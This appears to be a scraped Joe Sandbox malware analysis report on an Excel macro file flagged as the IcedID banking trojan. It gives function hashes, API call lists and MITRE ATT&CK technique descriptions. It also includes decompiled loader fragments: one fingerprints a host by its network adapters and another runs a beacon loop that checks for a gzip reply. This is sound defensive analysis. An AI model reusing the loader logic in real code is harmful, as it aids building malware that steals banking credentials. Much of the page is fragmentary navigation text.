Opcode Fuzzy Hash: 8f6f409ae8d980f1aa67fca21e0a267fb40582c6a34c997f5d87da3b30e1215c
Instruction Fuzzy Hash: 507171B2A0C68187D7A4CF14E450A7EBBF1F789B41F154426EB9A977A8D73CE851CB00

Uniqueness

Uniqueness Score: -1.00%

Function 00231B94, Relevance: 1.4, Strings: 1, Instructions: 135
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Genu, xrefs: 00231BC2

Memory Dump Source

Source File: 00000003.00000002.2497682801.0000000000230000.00000040.00000001.sdmp, Offset: 00230000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_rundll32.jbxd

Similarity

API ID:
String ID: Genu
API String ID: 0-2995418569
Opcode ID: 1f85beb2d9628c379d7c6777cdf791ab84029716dc32ac602b491d2880a83959
Instruction ID: 9d3d54b7eccdf811f7503dd9088d795fb05f40226099b7ff846b23f93cb3de63
Opcode Fuzzy Hash: 1f85beb2d9628c379d7c6777cdf791ab84029716dc32ac602b491d2880a83959
Instruction Fuzzy Hash: FF41EB72F106508BEB18CF76A94539D7AB1B748BC4F11C06ADE0EA3B24DA3CD655C740

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF4611979, Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2498978919.000007FEF4611000.00000020.00020000.sdmp, Offset: 000007FEF4610000, based on PE: true

Associated: 00000003.00000002.2498972585.000007FEF4610000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2498986037.000007FEF4612000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2498995496.000007FEF4613000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.2499007668.000007FEF4618000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2499015757.000007FEF4619000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef4610000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b64700216c838a076462251aecbe18c7029d4d0b87b0dc17819993bec2a3124
Instruction ID: dec3f902ec1c260e5c707a7906ed5d86ccd763c05490ee9f741853b9351c03bb
Opcode Fuzzy Hash: 2b64700216c838a076462251aecbe18c7029d4d0b87b0dc17819993bec2a3124
Instruction Fuzzy Hash: 0021ADB3B348A446EB4D8A069C257759992E3D4BE5B0AD33AEE3647BCCC97CC801C600

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: rundll32.exe PID: 2796 Parent PID: 2372 rundll32.exeCOMMON

Execution Graph

Execution Coverage:	4.5%
Dynamic/Decrypted Code Coverage:	79.7%
Signature Coverage:	0%
Total number of Nodes:	59
Total number of Limit Nodes:	5

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00141F94, Relevance: 3.1, APIs: 2, Instructions: 87
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 25%

			E00141F94(long long __rbx, void* __rcx, signed long long __rsi, long long __rbp, void* _a8, void* _a16, void* _a24, void* _a32) {
				void* __rdi;
				int _t23;
				void* _t24;
				void* _t27;
				intOrPtr _t35;
				void* _t36;
				intOrPtr* _t44;
				long long _t46;
				intOrPtr* _t48;
				intOrPtr* _t54;
				intOrPtr* _t62;
				signed long long _t64;
				long long* _t67;
				intOrPtr* _t69;
				void* _t77;
				void* _t78;
				struct HINSTANCE__* _t79;
				void* _t80;
				CHAR* _t82;
				char* _t83;

				_t64 = __rsi;
				_t46 = __rbx;
				_t44 = _t69;
				 *((long long*)(_t44 + 8)) = __rbx;
				 *((long long*)(_t44 + 0x18)) = __rbp;
				 *((long long*)(_t44 + 0x20)) = __rsi;
				_push(_t62);
				_t80 = __rcx;
				_t83 = L"; _gid=";
				 *(_t44 + 0x10) =  *(_t44 + 0x10) & 0;
				LoadLibraryA(_t82);
				GetProcAddress(_t79);
				_t67 = _t44;
				if(_t44 == 0) {
					L6:
					r9d = 1;
					_t23 = E00141998(_t36, _t44, _t46, _t80, L"; _gid=", _t62, 0x1442d0, _t77, _t78);
					L7:
					return _t23;
				}
				_t24 =  *_t67(); // executed
				if(_t24 == 0x6f && __rbx != 0) {
					GetProcessHeap();
					_t9 = _t64 + 8; // 0x8
					_t36 = _t9;
					HeapAlloc(??, ??, ??);
					_t62 = _t44;
					if(_t44 == 0) {
						goto L6;
					}
					_t54 = _t44; // executed
					_t27 =  *_t67(); // executed
					if(_t27 == 0) {
						_t48 = _t62;
						do {
							if( *((char*)(_t48 + 0x1c0)) != 0x30 ||  *((char*)(_t48 + 0x1c1)) != 0x2e) {
								_t35 =  *((intOrPtr*)(_t48 + 0x194));
								if(_t54 - 1 <= 7) {
									r9d = _t35;
									_t18 = _t48 + 0x198; // 0x198
									_t54 = _t80 + _t64 * 2;
									E00141998(_t36, _t44, _t48, _t54, _t83, _t62, _t18, _t77, _t78);
									_t64 = _t64 + _t44;
									_t83 = ":";
								}
							}
							_t48 =  *_t48;
						} while (_t48 != 0);
						GetProcessHeap();
						_t36 = 0;
						_t23 = HeapFree(??, ??, ??);
						if(_t64 == 0) {
							goto L6;
						}
						goto L7;
					}
					GetProcessHeap();
					_t36 = 0;
					HeapFree(??, ??, ??);
				}
			}

0x00141f94
0x00141f94
0x00141f94
0x00141f97
0x00141f9b
0x00141f9f
0x00141fa3
0x00141fac
0x00141faf
0x00141fbf
0x00141fc2
0x00141fd2
0x00141fd8
0x00141fde
0x00142037
0x00142037
0x0014204e
0x00142053
0x0014206b
0x0014206b
0x00141fe7
0x00141fec
0x00141ff7
0x00142004
0x00142004
0x00142007
0x0014200d
0x00142013
0x00000000
0x00000000
0x0014201a
0x0014201d
0x00142021
0x0014206c
0x0014206f
0x00142076
0x00142081
0x0014208d
0x0014208f
0x00142092
0x00142099
0x001420a0
0x001420a5
0x001420a8
0x001420a8
0x0014208d
0x001420af
0x001420b2
0x001420b7
0x001420c0
0x001420c5
0x001420ce
0x00000000
0x00000000
0x00000000
0x001420d4
0x00142023
0x0014202c
0x00142031
0x00142031

APIs

GetAdaptersInfo.IPHLPAPI(?,?,00000000,001418AF), ref: 00141FE7
GetAdaptersInfo.IPHLPAPI(?,?,00000000,001418AF), ref: 0014201D

Memory Dump Source

Source File: 00000006.00000002.2497677417.0000000000140000.00000040.00000001.sdmp, Offset: 00140000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000_rundll32.jbxd

Similarity

API ID: AdaptersInfo
String ID:
API String ID: 3177971545-0
Opcode ID: 44312ebdfa1ab684289ba9820bca872ea05634f86afed7bee65cf36da5697f26
Instruction ID: 0e107229719a32b217d141c076ecaff9fd3d8d4741c2fa62ffdf25371612f867
Opcode Fuzzy Hash: 44312ebdfa1ab684289ba9820bca872ea05634f86afed7bee65cf36da5697f26
Instruction Fuzzy Hash: 98315872601B8196EB25DB62F8447D977A0FB48FD4F894126EE094B734EF78C58AC300

Uniqueness

Uniqueness Score: -1.00%

Function 001413B8, Relevance: 3.1, APIs: 2, Instructions: 77
memorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtQuerySystemInformation.NTDLL(?,?,00000000,00141865), ref: 0014140B
RtlAllocateHeap.NTDLL(?,?,00000000,00141865), ref: 00141449

Memory Dump Source

Source File: 00000006.00000002.2497677417.0000000000140000.00000040.00000001.sdmp, Offset: 00140000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000_rundll32.jbxd

Similarity

API ID: AllocateHeapInformationQuerySystem
String ID:
API String ID: 3114120137-0
Opcode ID: 42a93d017f8a9e771a984da1e4e87026300822ebab161439f444a4c91256882a
Instruction ID: 815ef0615aabbcdaeaf5b483374cdbf670a227321d1c203dedb8821acfc1f15b
Opcode Fuzzy Hash: 42a93d017f8a9e771a984da1e4e87026300822ebab161439f444a4c91256882a
Instruction Fuzzy Hash: 3B215E32315B4093EB14CF66A9443A962A5BB88BD5F0D4134EF4A87734EF3CC8898700

Uniqueness

Uniqueness Score: -1.00%

Function 00141100, Relevance: 1.7, APIs: 1, Instructions: 198
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlReAllocateHeap.NTDLL ref: 001412F8

Memory Dump Source

Source File: 00000006.00000002.2497677417.0000000000140000.00000040.00000001.sdmp, Offset: 00140000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000_rundll32.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: e7a61cbc759ca3cfc6a098a573b718eaea4ffee18f520c87ff31b5679ef10bd2
Instruction ID: 3757278933ef6ca4443ac66c3e1beaaa92f956d2a0d66f86f315c45d55116cb3
Opcode Fuzzy Hash: e7a61cbc759ca3cfc6a098a573b718eaea4ffee18f520c87ff31b5679ef10bd2
Instruction Fuzzy Hash: 2371AC72300B9197EB24CF66E850BA937A5FB48BE4F448529EE4A53F28DF38C595C700

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF4693460, Relevance: 13.1, APIs: 2, Strings: 2, Instructions: 7094memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE ref: 000007FEF46966B8
VirtualAlloc.KERNELBASE ref: 000007FEF4699A63

Strings

548y, xrefs: 000007FEF4694A54
548y, xrefs: 000007FEF4696375

Memory Dump Source

Source File: 00000006.00000002.2499063945.000007FEF4691000.00000020.00020000.sdmp, Offset: 000007FEF4690000, based on PE: true

Associated: 00000006.00000002.2499059567.000007FEF4690000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.2499080547.000007FEF46BA000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.2499086566.000007FEF46C0000.00000008.00020000.sdmp Download File
Associated: 00000006.00000002.2499091680.000007FEF46C5000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7fef4690000_rundll32.jbxd

Similarity

API ID: AllocVirtual
String ID: 548y$548y
API String ID: 4275171209-3659121392
Opcode ID: 960185b3dd5550d74f9a0dc0a4abab99be57c8f22a47f8e9c25df04ebc232d7a
Instruction ID: 85cf207e47aa176ecd55a2806740e45ddfb7760fd4908b158414df4b8177247f
Opcode Fuzzy Hash: 960185b3dd5550d74f9a0dc0a4abab99be57c8f22a47f8e9c25df04ebc232d7a
Instruction Fuzzy Hash: E7E3DE73A1C34D8BD7B08E18E0D4A3D72D1F398318F160329D59957AA8E7BDEA458F42

Uniqueness

Uniqueness Score: -1.00%

Function 00141D48, Relevance: 1.6, APIs: 1, Instructions: 142
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LookupAccountNameW.ADVAPI32 ref: 00141E35

Memory Dump Source

Source File: 00000006.00000002.2497677417.0000000000140000.00000040.00000001.sdmp, Offset: 00140000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000_rundll32.jbxd

Similarity

API ID: AccountLookupName
String ID:
API String ID: 1484870144-0
Opcode ID: 647d26b09eb1de34399363563f8dea0a509976f2640c92992d33ef3099b957e1
Instruction ID: 6e5253d18d82becf64c7f35068003bb451b8d490c93b9ab015b5c4aa8e169da7
Opcode Fuzzy Hash: 647d26b09eb1de34399363563f8dea0a509976f2640c92992d33ef3099b957e1
Instruction Fuzzy Hash: 82517172700B8296EB20CFA1F8447D97365F748798F954126EA4D57A28EF78C64EC340

Uniqueness

Uniqueness Score: -1.00%

Function 00141A24, Relevance: 1.6, APIs: 1, Instructions: 86
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32 ref: 00141B51

Memory Dump Source

Source File: 00000006.00000002.2497677417.0000000000140000.00000040.00000001.sdmp, Offset: 00140000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000_rundll32.jbxd

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: b3d228bd442739714b8440231e2617d90d859a404f1ab04955e3b16467b23149
Instruction ID: 86b633727266bf57c9ba684a4ab13ce205d76786c238c04b91eb842189f5f2bb
Opcode Fuzzy Hash: b3d228bd442739714b8440231e2617d90d859a404f1ab04955e3b16467b23149
Instruction Fuzzy Hash: 6C412A36300A90A3EB20DB51F854BE97330FB98B95F954226EA0E53A74DF7CC969C740

Uniqueness

Uniqueness Score: -1.00%

Function 00142314, Relevance: 1.6, APIs: 1, Instructions: 79
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 41%

			E00142314(void* __edx, long long __rbx, void* __rcx, long long __rdx, long long __rdi, long long __rsi, intOrPtr* __r8, long long* __r9, void* __r11) {
				void* __r14;
				void* _t29;
				void* _t30;
				void* _t50;
				long long* _t65;
				intOrPtr* _t68;
				void* _t71;
				void* _t73;
				void* _t82;
				WCHAR* _t87;
				long long _t88;

				_t82 = __r11;
				_t81 = __r9;
				_t52 = __rbx;
				_t50 = _t73;
				 *((long long*)(_t50 + 8)) = __rbx;
				 *((long long*)(_t50 + 0x10)) = __rsi;
				 *((long long*)(_t50 + 0x18)) = __rdi;
				_t71 = _t50 - 0x5f;
				_t68 = __r8;
				_t88 = __rdx;
				_t65 = __r9;
				wsprintfW(_t87);
				while(1) {
					 *(_t71 - 0x5d) =  *(_t71 - 0x5d) & 0x00000000;
					 *(_t71 - 0x59) =  *(_t71 - 0x59) & 0x00000000;
					 *(_t71 - 0x51) =  *(_t71 - 0x51) & 0x00000000;
					 *(_t71 - 0x41) =  *(_t71 - 0x41) & 0x00000000;
					 *(_t71 - 0x49) =  *(_t71 - 0x49) & 0x00000000;
					 *((long long*)(_t71 - 0x79)) = _t71 - 0x39;
					 *((short*)(_t71 - 0x61)) = 0x50;
					 *((long long*)(_t71 - 0x71)) = 0x144318;
					 *((long long*)(_t71 - 0x69)) = _t88;
					_t29 = E00141100(0x50, _t71 - 0x39, _t52, _t71 - 0x79, _t68, _t65, _t81);
					_t52 =  *_t68;
					if(_t29 == 0x194) {
						break;
					}
					if(_t29 != 0xc8) {
						L8:
						if(_t52 != 0) {
							GetProcessHeap();
							HeapFree(??, ??, ??);
						}
						L10:
						SleepEx(); // executed
						continue;
					}
					if(_t52 == 0) {
						goto L10;
					}
					if( *_t65 < 0x400 ||  *_t52 != 0x1f ||  *((char*)(_t52 + 1)) != 0x8b || E00142170(_t52, _t68, _t65, _t65, _t68, _t82, _t88) == 0) {
						goto L8;
					} else {
						_t30 = 1;
						L15:
						return _t30;
					}
				}
				if(_t52 != 0) {
					GetProcessHeap();
					HeapFree(??, ??, ??);
				}
				_t30 = 0;
				goto L15;
			}

0x00142314
0x00142314
0x00142314
0x00142314
0x00142317
0x0014231b
0x0014231f
0x00142328
0x00142333
0x00142336
0x00142347
0x0014234a
0x00142357
0x00142357
0x0014235f
0x00142368
0x00142370
0x00142377
0x0014237c
0x00142385
0x00142389
0x0014238d
0x00142391
0x00142396
0x0014239e
0x00000000
0x00000000
0x001423a5
0x001423cf
0x001423d2
0x001423d4
0x001423e2
0x001423e2
0x001423e8
0x001423ed
0x00000000
0x001423ed
0x001423aa
0x00000000
0x00000000
0x001423b3
0x00000000
0x001423f8
0x001423f8
0x0014241a
0x00142436
0x00142436
0x001423b3
0x00142402
0x00142404
0x00142412
0x00142412
0x00142418
0x00000000

APIs

SleepEx.KERNEL32 ref: 001423ED

Memory Dump Source

Source File: 00000006.00000002.2497677417.0000000000140000.00000040.00000001.sdmp, Offset: 00140000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000_rundll32.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: d6ee78304405599839cb2b76b1496b77d892b60d5c7fd5409a22082ede2dad3d
Instruction ID: c0d965842dacb4c8cea0b233741aa104feb34b63067232da5050f7172652efe8
Opcode Fuzzy Hash: d6ee78304405599839cb2b76b1496b77d892b60d5c7fd5409a22082ede2dad3d
Instruction Fuzzy Hash: 61312C32710B8086FB14CFA2E4047DD63B6B758B94F598125EF4957668DF78C59AC340

Uniqueness

Uniqueness Score: -1.00%

Function 00141040, Relevance: 1.5, APIs: 1, Instructions: 13
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE ref: 00141062

Memory Dump Source

Source File: 00000006.00000002.2497677417.0000000000140000.00000040.00000001.sdmp, Offset: 00140000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000_rundll32.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: d56e05cda774ccf5d4670394d9a5578360c09582fb272e20d6068c562598757c
Instruction ID: 1977559a0e8c5b4fcc16675885690725bb50ec58d45c8a314500fcc92a63443d
Opcode Fuzzy Hash: d56e05cda774ccf5d4670394d9a5578360c09582fb272e20d6068c562598757c
Instruction Fuzzy Hash: ECD0C9B6E1078093E7349B20A9567DA2721F3A435AF908616EA4946978CF7DC1E9CA04

Uniqueness

Uniqueness Score: -1.00%

Function 0014101C, Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNEL32 ref: 00141027

Memory Dump Source

Source File: 00000006.00000002.2497677417.0000000000140000.00000040.00000001.sdmp, Offset: 00140000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000_rundll32.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 3de75df87d79d1aad6c4990aa37e91d9323ec035a64db23e00b7570720ffcdd9
Instruction ID: a3dd741716f0f34a98a0eee523cb97759dc5e177c34252bf4486afa4ec425d5b
Opcode Fuzzy Hash: 3de75df87d79d1aad6c4990aa37e91d9323ec035a64db23e00b7570720ffcdd9
Instruction Fuzzy Hash: BCC00170605684E3E36DABA5B8993E86265A740706F201A29E323075F1CF3D49E88A06

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report document-1251000362.xlsm

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Threatname: IcedID

Yara Overview

Memory Dumps

Sigma Overview

Signature Overview

AV Detection:

Compliance:

Software Vulnerabilities:

Networking:

E-Banking Fraud:

System Summary:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static OLE Info

General

OLE File "document-1251000362.xlsm"

Indicators

Macro 4.0 Code

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

ICMP Packets

DNS Queries

DNS Answers

HTTPS Packets

Code Manipulations

Statistics

Function 00231F94, Relevance: 3.1, APIs: 2, Instructions: 87
COMMON

Function 002313B8, Relevance: 3.1, APIs: 2, Instructions: 77
memorynativeCOMMON

Function 000007FEF4611000, Relevance: 2.7, APIs: 2, Instructions: 228
memoryCOMMON

Function 00231100, Relevance: 1.7, APIs: 1, Instructions: 198
memoryCOMMON

Function 00231D48, Relevance: 1.6, APIs: 1, Instructions: 142
COMMON

Function 000007FEF4611B10, Relevance: 3.3, APIs: 2, Instructions: 298
memorylibraryCOMMON

Function 000007FEF4611AE4, Relevance: 3.3, APIs: 2, Instructions: 267
memorylibraryCOMMON

Function 00231A24, Relevance: 1.6, APIs: 1, Instructions: 86
COMMON

Function 00232314, Relevance: 1.6, APIs: 1, Instructions: 79
COMMON

Function 00231040, Relevance: 1.5, APIs: 1, Instructions: 13
threadCOMMON

Function 0023101C, Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Function 000007FEF4611610, Relevance: 1.4, Strings: 1, Instructions: 166
COMMON

Function 00231B94, Relevance: 1.4, Strings: 1, Instructions: 135
COMMON

Function 00141F94, Relevance: 3.1, APIs: 2, Instructions: 87
COMMON

Function 001413B8, Relevance: 3.1, APIs: 2, Instructions: 77
memorynativeCOMMON

Function 00141100, Relevance: 1.7, APIs: 1, Instructions: 198
memoryCOMMON